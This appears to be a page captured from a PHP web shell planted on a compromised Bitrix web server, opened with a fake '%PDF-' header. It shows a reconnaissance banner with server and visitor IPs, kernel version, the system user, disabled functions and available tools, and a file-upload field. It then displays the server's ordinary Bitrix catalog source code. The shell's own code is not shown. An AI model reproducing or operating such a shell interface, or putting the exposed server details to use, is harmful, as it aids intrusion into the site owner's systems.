%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.147.86.6 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/catalog/general/ |
Upload File : |
<? class CAllCatalogLoad { function GetList($arOrder=Array("LAST_USED"=>"DESC"), $arFilter=Array()) { global $DB; $arSqlSearch = Array(); if(!is_array($arFilter)) $filter_keys = Array(); else $filter_keys = array_keys($arFilter); for($i=0; $i<count($filter_keys); $i++) { $val = $DB->ForSql($arFilter[$filter_keys[$i]]); if ($val == '') continue; $key = $filter_keys[$i]; if ($key[0]=="!") { $key = mb_substr($key, 1); $bInvert = true; } else $bInvert = false; switch(mb_strtoupper($key)) { case "NAME": $arSqlSearch[] = "CL.NAME ".($bInvert? "<>" : "=")." '".$val."'"; break; case "TYPE": $arSqlSearch[] = "CL.TYPE ".($bInvert? "<>" : "=")." '".$val."'"; break; } } $strSqlSearch = ""; for($i=0; $i<count($arSqlSearch); $i++) { $strSqlSearch .= " AND "; $strSqlSearch .= " (".$arSqlSearch[$i].") "; } $strSql = "SELECT CL.NAME, CL.VALUE, CL.TYPE, CL.LAST_USED ". "FROM b_catalog_load CL ". "WHERE 1 = 1 ". " ".$strSqlSearch." "; $arSqlOrder = Array(); foreach ($arOrder as $by=>$order) { $by = mb_strtoupper($by); $order = mb_strtoupper($order); if ($order!="ASC") $order = "DESC"; if ($by == "NAME") $arSqlOrder[] = " CL.NAME ".$order." "; elseif ($by == "TYPE") $arSqlOrder[] = " CL.TYPE ".$order." "; else { $arSqlOrder[] = " CL.LAST_USED ".$order." "; $by = "LAST_USED"; } } $strSqlOrder = ""; DelDuplicateSort($arSqlOrder); for ($i=0; $i<count($arSqlOrder); $i++) { if ($i==0) $strSqlOrder = " ORDER BY "; else $strSqlOrder .= ", "; $strSqlOrder .= $arSqlOrder[$i]; } $strSql .= $strSqlOrder; $db_res = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__); return $db_res; } function Add($arFields) { global $DB; if ($arFields["TYPE"]!="E") $arFields["TYPE"] = "I"; $arInsert = $DB->PrepareInsert("b_catalog_load", $arFields); $strSql = "INSERT INTO b_catalog_load(".$arInsert[0].") ". "VALUES(".$arInsert[1].")"; $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__); return true; } function Delete($ID) { global $DB; return $DB->Query("DELETE FROM b_catalog_load WHERE NAME = '".intval($ID)."' ", true); } function SetLastUsed($NAME, $TYPE) { global $DB; $DB->Query( "UPDATE b_catalog_load SET ". " LAST_USED = 'N' ". "WHERE TYPE = '".$DB->ForSql($TYPE)."'"); $DB->Query( "UPDATE b_catalog_load SET ". " LAST_USED = 'Y' ". "WHERE NAME = '".$DB->ForSql($NAME)."' ". " AND TYPE = '".$DB->ForSql($TYPE)."'"); return true; } } ?>